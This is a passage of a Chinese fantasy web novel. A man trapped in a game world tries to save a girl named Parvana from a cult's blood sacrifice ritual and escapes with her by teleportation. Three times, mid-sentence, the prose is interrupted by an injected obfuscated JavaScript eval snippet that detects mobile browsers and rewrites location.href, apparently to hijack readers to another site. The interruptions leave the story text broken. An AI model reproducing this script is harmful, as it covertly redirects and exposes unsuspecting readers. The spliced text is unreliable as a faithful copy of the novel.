“你这个骗子。” 帕尔瓦娜在他耳边低语着,“你从一开始就是想利用我。” “我没有想利用你。”周祈竭力让自己的声音听起来没那么颤抖,“我对你说的每一句话都是发自真心的,我是真的想带你从修道院逃出去,真的,你相信我。” “我最讨厌你们这些骗子。” 女孩不听他的辩解,“我帮你逃出去,你就会丢下我独自离开,对吧?” 周祈立刻反驳:“不!我从来没想过丢下你!” 帕尔瓦娜咬着牙,声音中带着森然,“我不相信。” …… 周祈真想大声喊冤,从头到尾他都没想过要丢下她不管。 正要再解释时,他的目光被帕尔瓦娜紧握刀柄的左手吸引,原本白皙皮肤之下涌动着一缕一缕的灰色物质。 这是……失控? 周祈瞳孔放大,看着女孩隐隐泛着灰色光芒的手背,再结合她从下水道出来后的种种表现,他几乎可以确定帕尔瓦娜出现了精神失控的征兆。 这才是她突然对自己发动袭击的原因。 但,她为什么会突然开始失控? 游戏中出现失控的原因只有两种,第一种情况是受到了邪恶力量的污染,导致理智值降低,第二种则是违背誓言或契约带来的反噬。 他和帕尔瓦娜从昨天开始就没有再分开过,如果是受到邪恶力量的污染,按道理来说周祈也该出现失控。 那难道她是受到了契约的反噬? 这个想法破土而出的一瞬间,周祈明白一直以来被自己忽视的问题究竟是什么了。 ——神父怎么会放任身为祭品的帕尔瓦娜在修道院中自由行动,并且完全不害怕她会打伤传道士后逃离。 帕尔瓦娜身上一定存在一个限制她移动范围的契约。 想明白这一点后,周祈有点想抽自己两巴掌。 他想使用秘术来摆脱眼下的困境,可之前为了打开下水道的铁门,他已经把星虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418468|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拗转为了没有攻击或控制手段的紫色。 难道要我给帕尔瓦娜原地表演一个开锁吗? 周祈有些无奈地发现,现在除了打嘴炮之外,好像没有其他更好的办法。 他强迫自己冷静,想办法安抚帕尔瓦娜的情绪。 几日的相处过程中,周祈发现女孩不排斥和自己发生肢体接触,甚至在自己牵她手的时候还会默默攥紧。 如果能面对着她就好了,这样就可以摸摸她的头发,甚至抱一下她。但他现在背对着帕尔瓦娜,只能试探着抬起手,往女孩的手背上贴。 他刚握住那只冰冷的手掌,帕尔瓦娜像是应激了一般,手上用力,贴在周祈脖子上的匕首斜着向下挥出。 锋刃在那块脆弱的皮肤上划出一道浅浅的伤口,周祈拼命向一旁侧头,同时拼尽全力用另一只手攥住匕首的刀刃,掌心立刻多出一道皮开肉绽的伤口。 浓重的血腥味让帕尔瓦娜出现一瞬间的愣神,周祈抓住机会,用自己的肘关节撞向她的肩膀。 他知道帕尔瓦娜的身体素质十分强悍,所以不敢收敛力气,帕尔瓦娜的手臂被他撞到发麻,手腕一松,匕首掉落在泥泞之中。 他抬脚将那玩意儿踢出十几米远的距离。 帕尔瓦娜并没有因为失去武器就停止对周祈的攻击,她张牙舞爪挥出拳头,却被周祈用满是鲜血的手掌钳住手腕。 他无视女孩的反抗,腕部发力,顺势将她拉进自己怀中,紧紧地圈住她的肩膀。 她兀然停止了所有的动作,像个被拔了发条的玩偶,整个人肉眼可见地变得僵硬起来。 但时间只短暂地凝结片刻,帕尔瓦娜开始更加激烈地反抗。 她就像一团只能躲藏在潮湿角落的幽影,突如其来的拥抱像一道炽热的火光,她无所遁形,于是抵死挣扎。 但周祈把她抱的更紧。 “……不要怕,我不会抛弃你的。” 他柔和的嗓音成为点燃天火的最后一根火把,帕尔瓦娜不再挣扎,她被无处不在的火光融化成一滩脓水。 周祈感觉锁骨上湿了一大片,起先他以为是脖子上的血,但打湿他皮肤的东西比冰块还要冷,更像是……眼泪。 他后知后觉地反应过来,帕尔瓦娜哭了。 周祈突然就不想计较女孩划伤他脖子和手掌的事了,追根到底,失控也不是她的错。 他用自己完好的那只手掌揉了揉女孩的后脑勺,“别、别哭了,我最怕小女孩在我面前哭了……” 就在这时,脑海里毫无征兆地响起判定成功的声音。 【有人向这里靠近。】 危险的预感让周祈汗毛倒耸,他听见枪栓上膛的声音,在他反应过来之前,怀中的女孩抬起头,用力将他推倒在地,随后枪鸣声响起。 周祈睁大眼睛,眼睁睁看着一发古铜色的子弹命中帕尔瓦娜胸膛的正中央。 弹片在女孩胸腔之中炸开,她发出一声悲鸣,向后栽倒在河边的淤泥之中。 “帕尔!” 周祈惊呼一声,一道黄色的能量波如同涟漪一般荡漾开来,他动弹不得,手脚都被神秘的力量禁锢。 夜色中走出一群身穿黑色教士服、手提风灯的男人,灯光映照出他们的脸庞,与周祈在地牢中见到过的任何一名传道士都不同。 站成一排的黑衣传道士从中间分成两列,一个披着华丽斗篷的银发男人从他们身后走出。 银发男人看起来和周祈年龄差不多,应该是不超过三十岁的青年,他左手握着一根看不出材质的手杖,右手托着一颗红到发紫的苹果。 周祈立刻反应过来,这个人大概率就是蒂尔神父口中的“主教大人”。 青年将手杖递给身后的传道士,随后在二人面前蹲下,笑着和倒在河边的女孩打了声招呼。 “晚上好呀,帕尔瓦娜。” 15. 密苑钟声(十五) 银发青年扯着帕尔瓦娜的长发,将她从河边的污泥中剥离。 他用那双血红色的眼睛上下打量着女孩,“不听话的孩子就是要受到惩罚。” 帕尔瓦娜已经失去意识,她双眼紧闭,眉毛拧在一起,看起来正在承受莫大的痛苦。 银发青年啃了一口手中的苹果,随口扯着帕尔瓦娜的头发,让她面对着周祈,像是在和他解释一样,用轻松的语调说,“这种拥有自我意识的器皿最麻烦,为了防止她脱离我的控制,我提前在她身上留下了一道契约,只要她离开修道院就会逐渐失去理智,精神崩溃。” 器皿。 帕尔瓦娜对他们来说只是“器皿”吗? 周祈心中涌出一股莫名的情绪,他移动视线,注意力落在银发青年斗篷上别着的圆形徽章之上。 徽章表面铭刻着一个被蛇缠绕的苹果,看到这个图案的瞬间,周祈心跳加速,一股熟悉的感觉进入脑海中,不需要太费力,他一下子就想起这个标记所代表的含义。 ——“伊甸”,一个只存在于游戏背景板中,早已消失在历史长河的秘密教团。 竟然能遇上早已覆灭的组织,现在的时间节点究竟比剧情线早了多久? 周祈在心里叹了口气,了解这一信息似乎对解决眼下的困境没什么帮助,他的灵知被青年的秘术禁锢着,无法反抗,甚至连一根手指都无法移动。 银发青年将浑身是血的帕尔瓦娜扔在一边,像是随手丢弃一个坏了的木偶娃娃。他又咬了一口苹果,饶有兴趣地望向周祈,“现在该聊聊关于你的问题了。” “我很好奇,你究竟是不是真的能看懂那本书的内容,如果你看不懂,那你所讲述的故事又是从哪里听来的?” 银发青年的视线在周祈的脸上来回移动,如同一双粗糙的双手,一寸一寸摩挲着他的皮肤,周祈被这道目光盯得浑身不适。 “让我来猜一猜。” 青年转动手中的苹果,朝着完好的那面啃了下去,“你是某个秘密教团的成员,对吗?” 周祈没有否认,当然,他现在也根本说不了话。 青年把手中的苹果核扔向周祈身后的小溪,随后舔了舔自己的上嘴唇,露出一脸餍足的表情,“你们这些惹人厌的蛆虫呐,原本都像缩头乌龟一样躲在帷幕之后,现在呢,一个个又都闻着味儿钻出来。普路托还真是要变天了啊……” “你的首领派你混进来,还要你接近我精心准备的器皿,设计把她拐跑,应该也是为了那样东西来的吧?” 哪样东西? 你不妨把话说的明白一些…… 周祈现在能支配的只有自己的眼球,他瞥了青年一眼,随后迅速移开视线,做出一副轻蔑的姿态。 他的神情似乎取悦到眼前这人,银发青年托着下巴笑了足足半分钟,眼泪都笑了出来。 “有意思。”青年揉着自己的眼睛,“我猜你现在一定以为还会有人来救你吧?” 他打了个响指,立刻有一名传道士向前一步,递给他一个物品。 周祈定睛望去,在看到那薄薄一片的物品时,他的眼瞳控制不住地颤抖起来。 那是他交给昆塔的求救信! 这封信怎么会出现在他手里?昆塔被抓住了吗? 银发青年发出一声嗤笑,“一个密教组织的成员,竟然敢给异调局发信求救?真是有意思。” 一簇黄色的火苗从信件的底部开始燃烧,几秒后,那封信燃为灰烬。 “我不清楚你是怎么想的,但现在没有人能来救你。” 周祈仍旧面无表情,看都不看他一眼。 青年脸上的笑意更加明显,“这样吧,我们来做个交换,你把你知道的告诉我,我虽然不会饶你一命,但可以让你死得更痛苦一点。” ……神经病吧。 周祈感受到禁锢自己发声部位的力量消失,同时又感受到一股新的力量正在入侵思维。 眼前的人正在对他使用秘术,效果似乎与“吐真剂”相同,周祈绷着脸,无法自制地开口,“我什么都不知道。” 银发青年显然不相信他是真的什么都不知道,他挑了下眉,“看来你们首领派你过来之前做了充足的准备,竟然可以抵御我的真言秘术。” …… 周祈不说话,像看傻子一样看着他。 银发青年发出一声感叹,表情带着遗憾,“好吧,既然你不愿意说,我也不能强求,对吗?” 他从地上站起,朝着身后的传道士挥了挥手,“把那只离家出走的小狗和这位远道而来的客人一起带回去,准备举行仪式。” ** 刚逃出去还没一个小时,周祈又一次回到了那座修道院。 他第一次清醒着从正门进入这里,也是第一次看清这栋关押他数日的建筑的全貌。 修道院坐落在峭壁之上,外观看起来十分破败,主建筑几乎被杂草掩盖,外墙有一半都被焦黑覆盖,似乎是历经过一场大火的摧残。 蒂尔·艾弗森站在门口迎接银发青年的到来,他表情不悦,脸色黑得像一块臭抹布。 而在看到传道士手中押送的两个人影后,他脸色骤变,“主教阁下,他们怎么会……” 银发青年瞥了他一眼,鼻孔中发出不屑的哼声,“我早知道你会在关键时刻给我捅娄子,今天如果不是我及时赶到,将他们带了回来,你准备怎么完成仪式?” 蒂尔·艾弗森低下头,完全不敢去直视银发青年的眼睛,“我很抱歉,主教阁下。” “向我抱歉没有用,等回到兰蒂尼恩,你自己去向大主教请罪。” 周祈一边努力挣脱禁锢,一边偷听着二人的对话。 兰蒂尼恩?那不是普路托最大宗主国的首都吗? 他心中一惊,一个秘密教团,竟然敢把总部设立在国家首都?这么勇敢的吗? 蒂尔·艾弗森脸色变得铁青,却不敢忤逆,“是。” 他抬起头,目光落在一旁的周祈身上,其中带着明显的憎恶与愤怒。 他摸向腰间挂着的皮鞭,想要狠狠抽打这个将自己蒙在鼓里、满口谎言的骗子,发泄心中的怒火,却被银发主教阻止。 “举行仪式要紧。”青年说,“他是其他教团的人,无论他是不是适合黄金虫寄生的载体,都必须除掉,拿到花种之后立刻回收黄金虫,至于他的尸体和魂质,随你怎么处置。” 蒂尔·艾弗森极不情愿地收回手,目光像小刀一样剜在周祈脸上,他咬牙切齿,“是,主教阁下。” - 周祈被押送至第一天进入过的天然洞穴。 牢房中的囚犯同样也在,他们被绳索捆缚着,像一只只待宰羔羊般,跪伏在大理石搭建的祭坛上。 周祈和其中一个人对视,却发现对方的瞳孔变得涣散,双眼中满是混沌与迷茫,似乎已经失去了自我意识。 这是……通过操控心神来达到“禁锢”的效果? 结合之前那名守卫对他使用的精神攻击类秘术,他心里已经有了确切的推断,这个名叫“伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418469|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甸”的组织追奉的应当是掌握黄色准则权柄的神明。 黄色准则代表“情绪与欲望”,领域内的秘术也多与人的精神和心理有关。 周祈垂下眼,试图分析出更多的信息。 大多数黄色准则的秘术本质上都是类似“催眠”之类的心理暗示,通过操控被施咒方的情绪来达到自己的目的。 所以我现在其实是被自己的恐惧束缚住了灵知吗? 想到这里,周祈将注意力集中在右眼,尝试调动那里蕴藏着的力量。这个念头刚钻出脑海,一股寒意从脊髓弥散至全身的血肉,他四肢发软,牙齿都开始打颤。 莫大的惊悚让他头皮发麻,肌肉发紧,甚至无法呼吸,几乎要窒息过去。 周祈拼命与心中的恐惧对抗着,努力调动眼球中汇集的灵知,那一根根红线一样的火焰在他顽强意志力的支配下微微晃动。 真的有效! 他心中一喜,面上却并没有表现出来,仍旧紧绷着脸。 蒂尔·艾弗森命令手下的传道士将昏迷中的女孩放在祭坛正中央的位置,包括周祈在内的囚犯们环绕在她的周围,组成一个圆圈。 帕尔瓦娜的肤色原本就很苍白,大量失血后,她的脸色更是惨白如纸,那张不曾有过剧烈表情变化的脸庞因剧痛而扭曲着,额头上布满刺目的汗珠。 看着女孩沾血的领口,周祈喉咙发紧,一种难以言说的滋味在胸腔之中蔓延。 “主教阁下,可以开始了。” 蒂尔·艾弗森向青年行礼。 青年微微颔首,解下自己身上的斗篷,露出一件无袖长袍,随后缓步走至祭坛正前方。 他张开双臂,周祈瞥见他两条胳膊的内侧都盘踞着一条从腋窝到手掌的伤疤。 银发主教紧闭双眼,下巴略微抬高,像在cos自由女神像。 他口中念念有词:“苦痛与欲望的支配者,鲜血与诱惑的化身,徘徊于伊甸园的夜巫。您卑微又虔诚的追随者在此祈求您的垂顾,祈求您投来注视,见证您忠诚的信徒为您奉上的伟大功业。” 话音刚落,那两条伤疤无声开裂,乌黑又粘稠的血液如雨滴一般砸落在祭坛表面,这些污浊的血液与青年的伤口处藕断丝连,像一条条扭曲的蛇。 随着血液的滴落,周祈正努力从禁锢中挣脱的灵知迅速觉察到来自四面八方的注视,这道目光危险又高渺,像一道冰凉的吐息落在他皮肤的每一寸角落,周祈身上每一根汗毛都倒耸起来。 夜巫?帕尔瓦娜匕首上刻着的那个名字?居然真的是个神。 他的额头突突直跳,身旁跪着的囚犯们不约而同地开始抽搐起来。 在游戏的设定中,受到神明的直接注视是一件非常危险的事,无论有没有敕印在身,都会面临理智值锐减,精神崩溃的危机。 可周祈却并没有感觉到太明显的不适,只是有些冷、有些害怕。 银发青年的双臂不再向下滴血,他原本鲜红的嘴唇变得惨白,整个人的面容都憔悴了许多。他摇摇晃晃地走下祭坛,几名手下迅速上前搀扶住他,并递上一个暗红色的苹果。 青年像饿了五天的流浪汉一样,用极快的速度将苹果连皮带核一起吃进肚子里,惨白的脸色这才缓和下来。 但他依旧没有说话的力气,只是淡淡地瞥了蒂尔·艾弗森一眼,对方心灵神会,走上祭坛。 他随便选了一个囚犯,抓着那倒霉蛋的头发拎到祭坛中央的位置,随后紧握银匕,用力割开那人的喉管,鲜血立刻喷溅出来。 16. 密苑钟声(十六) 血臭味争先恐后地钻入周祈的鼻腔,他一阵反胃。 被划开脖颈的囚犯倒在祭坛之上,鲜血不停从咽喉之间向外涌出,血液接触到祭坛的地面后立即向下渗透。 这种感觉就像…… 就像是地下埋有什么东西,要用人类的血液浇灌才能让它破土而出。 这就是主教和神父口中的开花仪式吗…… 冥冥之中,周祈感知到洞穴的地面正在发生微不可察的震荡,似乎有什么东西正翻涌着自地下钻出。 整个仪式进行得十分缓慢,一定要等到上个囚犯的血全部流干之后,蒂尔·艾弗森才会用刀划开另一个人的脖子。 而随着流入地下的血液越来越多,从地下传来的震荡愈发明显。 周祈顾不上分析震动的来源,他只知道现在如果不做点什么来自救,自己也会被割破喉咙,流干血液,身祭“花种”。 他突然觉得现在的局面非常眼熟,这样的情节好像第一天醒来时就经历过一次。 兜兜转转,他还是没逃过成为祭品的命运。 怎么办? 周祈低下头,他目前能做的只有专心对抗施加在他身上的禁锢秘术,只有摆脱了控制,他的思考才有意义。 时间缓慢流逝,献祭一直持续了一个小时,活着的囚犯正剩下不到四个。 蒂尔·艾弗森又一次手起刀落,这次倒下的是跪在周祈正对面的红发男人。 他死的时候还睁着眼睛,周祈与他棕褐色的双眼对视,男人可能在生命的最后时刻脱离了秘术的操控,双眼中不再是迷茫,取而代之的是对死亡的不甘。 看着他喉间流出的血液,周祈的脉搏开始加速。 就在这时,先前那份不易察觉的震荡开始变得激烈,地下传来“咚、咚”的声音,并伴随着一下一下的撞击。 洞穴之中地动山摇,所有的人或物都在摇晃,那两只好不容易被安抚好的鬣狗又开始狂吠。 剧烈的震荡随着囚犯鲜血渗入地下而加剧,半分钟后,一根外观类似树枝一样的事物从祭坛的正中央钻出,自下而上穿透躺在那里的女孩的胸膛。 帕尔瓦娜猛地睁开眼睛,原本就写满痛苦的脸庞更加的狰狞,周祈瞳孔放大,看着女孩眼角流出的生理性泪水,他的胸膛也生出幻觉一样的痛感。 帕尔瓦娜的上半身被树枝支撑着离开地面,鲜血顺着树枝表面淌下。 那根树枝接触到了血液的滋养,迅速膨胀变大,在女孩的胸膛之间撑出一个圆形的血洞。 周祈的视角正好面对着女孩,他清楚看见那根树枝在女孩的血肉之间长出侧芽,而侧芽的正前端覆盖着一张类似昆虫的脸庞。 倒三角形的“昆虫”挥舞着它前端的口器,一点一点啃噬女孩的心脏。 那是什么东西? 周祈一刻也没有停止挣扎,右眼中的灵知正在逐步脱离秘术的禁锢。 他看到一团赤色参杂着灰色的物质在“昆虫脸侧芽”爬过的地方生成,逐渐取代帕尔瓦娜的心脏,而女孩的生命力也正在伴随着身体最核心器官的残缺而消失。 帕尔瓦娜试图逃离,但树枝柔软又坚韧的枝条让她所做的一切都成为徒劳。 终于,她停止挣扎,缓缓闭上双眼,这个动作代表着她已经失去求生的意志,不再抵抗外来物的入侵。 不知道为什么,周祈的心脏也跟着昆虫脸的动作疼了起来,好像正在被吞食脏器的不是帕尔瓦娜,而是他。 额头上不断有冷汗冒出,他用尽全力对抗心理暗示,想要尽快脱离秘术的掌控。 但是,灵知自由了之后他又能做什么?他一个无阶秘术师,要怎么去对抗蒂尔·艾弗森和比他等阶还要高的银发主教? 一种名为“绝望”的情绪在周祈的思维之中生根发芽。 不。 他用刚刚挣脱禁锢的牙齿狠狠咬了一下自己的舌尖,将丧气的念头从自己的脑海中赶出去。 他不能放弃,他必须做点什么。 周祈深呼吸两下,快速思考的同时,他开始观察周围有没有什么可以被利用的物品。 但可惜的是他身边只有一个穿着黑衣的银发屠夫,以及一群被割断喉管的羊羔。 周祈的目光被囚犯脖颈上的伤口吸引,视线追随着那些红色的液体一同移动,看着它们填满祭坛表面的凹槽纹路。 等等!凹槽?纹路? 好像有一双手拨开挡在他眼前的迷障,周祈全身的血肉都颤抖了一下,他快速扫视整个祭坛,将没有被尸体遮挡的那部分凹槽图案尽收眼底。 秘术。 他可以肯定这些凹槽是某种秘术的符号,换句话说,这座祭坛其实就是一个大号的法印。 新的发现让他整个人都精神一振,连带着他的部分灵知都挣脱出秘术的禁锢,脑海中响起“叮——”的一声,【通晓】幻化出的斑斓在他眼前汇聚成一个简单的词语。 【门】 门? 周祈立刻联想到西奥多·莱特提到过的地宫。 所以这个祭坛其实就是地宫的大门? 【???的血液,已达成】 【紫色准则的秘术,未达成】 【通晓】给出了开启门锁的方法。 周祈简直无法压制心中陡然升起的喜悦,就在此刻,他对“祸福相依”这四个字有了更深刻的理解。 之前他为了打开地牢的门将肚子里的星虫拗转为了紫色,又因为紫色准则缺少攻击手段而被银发青年轻易抓了回来,而现在,看似弱小的“开锁术”却正好可以帮助他打开地宫的大门。 他的思路立刻变得清晰起来,只要将灵知全部释放出来并激活祭坛上的法印,就可以阻止蒂尔·艾弗森剥夺他的生命,阻止昆虫脸侧芽啃食帕尔瓦娜的心脏。 越是危机的时刻,周祈的心绪越发平静,他一言不发,专注地与自身的恐惧对抗着。 蒂尔·艾弗森拿着刀来到周祈面前,犹豫再三,最终还是选择先杀死周祈身边的那名囚犯。 他要把这个人留到最后,让他看着所有人在眼前死去,然后在莫大的恐惧与绝望之中咽气。 最后那名囚犯的体型格外高大,他身上的血一直持续流了半个小时才停下。 蒂尔·艾弗森终于来到周祈面前,他似乎看出周祈正在做什么,不禁发出嘲讽的嗤笑声,“你竟然想抵抗主教大人布下的禁锢秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418470|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术。” 周祈连一个眼神都没给他,目光始终集中在正对面的女孩身上。 蒂尔·艾弗森一把抓住周祈的头发,将他拖拽至祭坛中央,“就算你真的挣脱了又能怎么样,你不会觉得凭借你那少得可怜的灵知真的能从我们手底下逃脱吧?” 周祈抬起头,帕尔瓦娜苍白的脸颊近在咫尺,他可以更清晰地观察到女孩的脸庞正在失去色彩,变得灰白黯淡。 蒂尔·艾弗森注意到他的视线,又发出一声嘲讽,“自己都死到临头了还想着救别人?真是自不量力。” 他对黑发青年用谎言哄骗他的事耿耿于怀,这个人让他在主教大人面前丢尽颜面,就这样杀了他岂不是太便宜他了? 蒂尔·艾弗森在心里默默盘算着,反正有主教大人在,为什么自己不先用秘术狠狠凌虐这个骗子一顿,将他折磨到半死后,再用匕首了结他的性命? 蒂尔眯了眯眼,眼中划过一抹晦暗的情绪。 他正要激活精神领域中的秘术符号,却听见跪在地上的东方人发出一声低沉的笑声,“自不量力?你说的是我还是你自己?” 蒂尔兀然听到他的声音,有些没反应过来,施展秘术的动作也戛然而止。 他怎么能说话了?不可能,他怎么可能挣脱主教阁下的秘术? 下一秒,原本跪在地上的黑发青年猛地从地上站起,他用双手用力,猛地挣断捆缚双手的绳索,一只手握住女孩的脚腕,另一只手按在地面上,紫色的光芒在他袖口之中亮起。 与此前留下的印象不同,黑发青年脸上不再有滑稽可笑的懦弱与胆怯,他面容冷峻,眉如刀刻,乌黑的的眼瞳中染着微不可察的轻蔑。 蒂尔·艾弗森后知后觉地明白过来,他现在看见的才是这个东方人的真实面貌。 青年勾起唇角,朝着他颔首致意,他的姿态从容又优雅,如同演出完毕站在舞台上谢幕的演员。 “再见了,神父。” 蒂尔·艾弗森像石化了一般,眼睁睁看着那个东方人带着帕尔瓦娜修女消失在自己眼前。 ** 思维像是被扔进高速运转的搅拌机中,周祈感觉眼前天旋地转,紧接着,他被一股无形的力量托举着砸落在冰凉平整的物体上。 他努力睁开眼睛,四周一点光都没有,潮湿的雾气在其中弥漫,黑暗中隐隐有粗重的呼吸声传来,似乎是某种巨兽发出的声音。 周祈全身的血液在顷刻间炸响,星虫和他自身的灵性都在向他示警,甚至比“夜巫”投来注视时的感觉更让他毛骨悚然。 【灵光乍现】判定成功,格格巫一样沙哑邪异的声音在耳边响起。 【墓室中的怪物嗅到了活人的气息,正在向这里赶来,我必须再次激发法印。】 沙哑的声音还未消散,耳边已经传来猛兽的低吼,并且这些吼叫声由远及近,正在急速向他们的位置靠近。 周祈没有犹豫,他将灵知灌入另一枚“开锁术”法印,紫色的光芒亮起,铭刻在地面上的传送法印即刻激活,他抓住身边的帕尔瓦娜,带着她一起消失在地宫之中。 而在他们传送离开的下一秒,两只近乎十米高的巨兽叫嚣着扑了上来。 17. 密苑钟声(十七) 短时间内经历两次传送,周祈感觉自己马上就要吐出来了。 第二道法印将他们传送到一片陌生的山谷,周祈没有任何防备,抱着帕尔瓦娜沿着不算陡峭的山坡滚了下去。 碎石树枝划破了他身上的教士服,头发和脸也变得乱七八糟。 他挣扎着,用手肘支起上半身,顾不上嗡嗡作响的后脑勺,几乎是第一时间去查看身旁重伤的女孩。 “帕尔瓦娜…帕尔瓦娜……” 周祈拍了拍女孩的脸颊,她的脸庞已经褪去所有的血色,表情写满了痛苦和狰狞,血液和汗水交缠在一起沿着脖颈滑入衣领。 她伤得很重,无论周祈怎么叫她、摇晃她,她都没有任何反应。 他视线下移,那棵长着昆虫脸的侧芽不知在何时从树枝上脱离下来,不仅跟着他们转移至此,由它产生的赤灰色物质甚至还与帕尔瓦娜的血肉结合得更为紧密。 它就像一颗发了芽的种子,正在通过不间断进食孕育果实,只是它的食物是帕尔瓦娜的心脏。 周祈想用手把那团赤灰相间的分泌物从帕尔瓦娜的血肉中分离,但他才刚伸出手,腹中却传来一道温热的感觉,星虫蠕动着,似乎是在阻止他的动作。 它向周祈无声地传递着信息:那团物质已经与帕尔瓦娜的心脏融合,如果将它取出,帕尔瓦娜会立即失去生命。 这…… 周祈急忙收回手臂,不敢乱动。 纯净的夜空隐约泛起微光,天好像要亮了。 周祈无法确认周围的环境是否安全,决定先带帕尔瓦娜转移到一处安全的地方。 他扯下身上的小披肩,勉强凑出一块还算完整的布料,裹住帕尔瓦娜的上半身,背上她一瘸一拐地往山谷外走。 周祈自己的状态也很差,坚持了没多久,他找到一处隐蔽的山缝,带着帕尔瓦娜钻了进去。 洞穴中湿气很重,他将女孩放在一块还算干燥的地面,自己去洞穴附近捡了些树枝回来,用随身携带的打火机生了一簇篝火。 橘红色的微光给这这片狭窄又阴冷的空间带来些许暖意。 周祈把全身上下所有的东西都拿了出来。 他的手表在刚刚滚落山坡时磕在了石头上,指针虽然在还在走动,但表盘的玻璃已经有了大片的裂纹。 除了手表之外,他身上还有一直藏在袖口中的几根灵烛,几块颜色各异的宝石,以及杀死守卫后抢来的短剑。 这些,好像没有一样可以帮到帕尔瓦娜。 周祈托着女孩头,让她仰躺在自己腿上,用袖口擦去她额头上的汗水。 黑色的教士服已经变得破破烂烂,他只是稍微低了下头,就看到自己腹部那道金光闪闪的伤疤。 周祈猛地想起,星虫曾经治愈过他身上的刀伤,似乎拥有某种强大的治愈能力。 如果把星虫放进帕尔瓦娜胸膛之上的伤口,让她也得到类似“敕印”的力量,是不是就能阻止“昆虫脸”接着啃食她的心脏? 周祈很快想到最开始那名女囚犯,她也被星虫寄生过,表现出来的状态却和周祈完全不同,直接被抹去了意志。 从蒂尔神父的表现来看,他甚至是第一个从星虫手上活下来的人。 “唉……” 周祈叹了口气,敕印是他能想到的最强力的手段,如果女孩无法借用星虫的力量,难道要让她向邪神祈祷换取庇护吗? 这个想法钻入大脑的一瞬间,周祈像触电了一样,猛地颤抖了一下。 向邪神祈祷换取庇佑…… 难道,难道这就是帕尔瓦娜加入“黄金拂晓”的原因? 他不认为自己这些天做的事改变了任何的剧情走向,开花仪式顺利举行,诡异的“花种”也进入了为它准备的“容器”体内。 接下来会发生什么? 伊甸在主线剧情开始前覆灭,成为历史,帕尔瓦娜加入黄金拂晓,成为游戏的终极BOSS“腐败魔女”。 虽然他无法证明这两者之间存在什么联系,但是帕尔瓦娜为了逃避花种的吞噬,向黄金拂晓追奉的神明祈祷,获得敕印成为信徒,这似乎是最合理的解释。 女孩被花种寄生之后一直处于昏迷状态,不太可能自发完成敕印仪式,一定是有个人从旁引导。 而周祈现在扮演的正是这样的角色,不,应该说是他的意外穿越直接顶替了这个人的存在。 原本的剧情中应该存在一个真正的卧底,这个人设计混入修道院,破坏伊甸筹备已久的“开花仪式”,带着花种逃了出去,为了救活承载花种的容器,引导她成为“父神”的信徒…… 合理,太合理了。 周祈看向自己满是鲜血的掌心,在为真相震惊之余,他突然意识到女孩命运将会因为他接下来的举动而改变。 如果他帮助帕尔瓦娜完成敕印仪式,那就是说,游戏里呼风唤雨秒天秒地的大反派将会由他亲手缔造。 他的心毫无征兆地沉了下去。 不知道为什么,他并不愿意看到那样的结局。 在这些天的相处中,帕尔瓦娜虽然表现出了一定的危险性,但自从周祈提出要带她一起逃走之后,她表现得更像一个温顺、寡言的懵懂少女,不仅对他言听计从,甚至还会表达关心。 帕尔瓦娜的本性并不坏,只是没有得到正确的引导。 莫名其妙的,周祈想到在他最沉郁之时出现在书房门口的两块苹果派,想到了小溪旁浸湿他锁骨的眼泪。 他低下头去看怀中的女孩,从这个角度望过去,帕尔瓦娜像是一块摇摇欲坠的玻璃,因为痛苦而产生的泪水从她眼角滑落,一路淌至周祈扶着她肩膀的手背上。 她的泪水很凉,周祈却像是被烫到了一样抖了又抖。 他垂下眼睫,在心里确认了一个事实——他做不到亲手把帕尔瓦娜送往深渊。 可如果不向邪神祈祷,谁又能救帕尔瓦娜的命呢? 如果有什么办法能绕过仪式,直接敕印就好了…… 周祈猛然睁大眼睛,他不就是活生生的例子吗?为什么不能由他来为帕尔瓦娜敕印。 星虫只能在他身上寄生,但或许他可以让这份力量成为一颗火种,自己设计仪式,把它传递下去。 而且,试一下又不会怎么样,如果不行,再想其他办法就是。 ** 周祈将帕尔瓦娜平放在火堆旁,从一旁的“物品堆”中拿过来两根灵烛,摆放在地面上。 敕印仪式同样需要进行驱逐,但帕尔瓦娜的匕首已经被周祈在小溪边一脚踢飞,而他抢来的短剑只是普通的刀刃,并不能代替仪式匕首的作用。 反正仪式祈祷的对象是我自己,不需要这么严格,跳过跳过。 周祈开始回忆游戏里的内容,敕印仪式的流程并不复杂,只需要满足三个条件,第一,充满灵性的光,第二,诵念神明的尊名,第三,取悦神明,换取回应。 充满灵性的光其实就是灵烛燃烧发出的光。 周祈点燃地上的两根灵烛,开始进行第二步。 他要给自己设计一个“名字”,能与他建立神秘学意义上的联系的名字。 说实话,周祈对起ID这种事十分不在行,他首先想到的是星虫金灿灿的外形,……辉光? 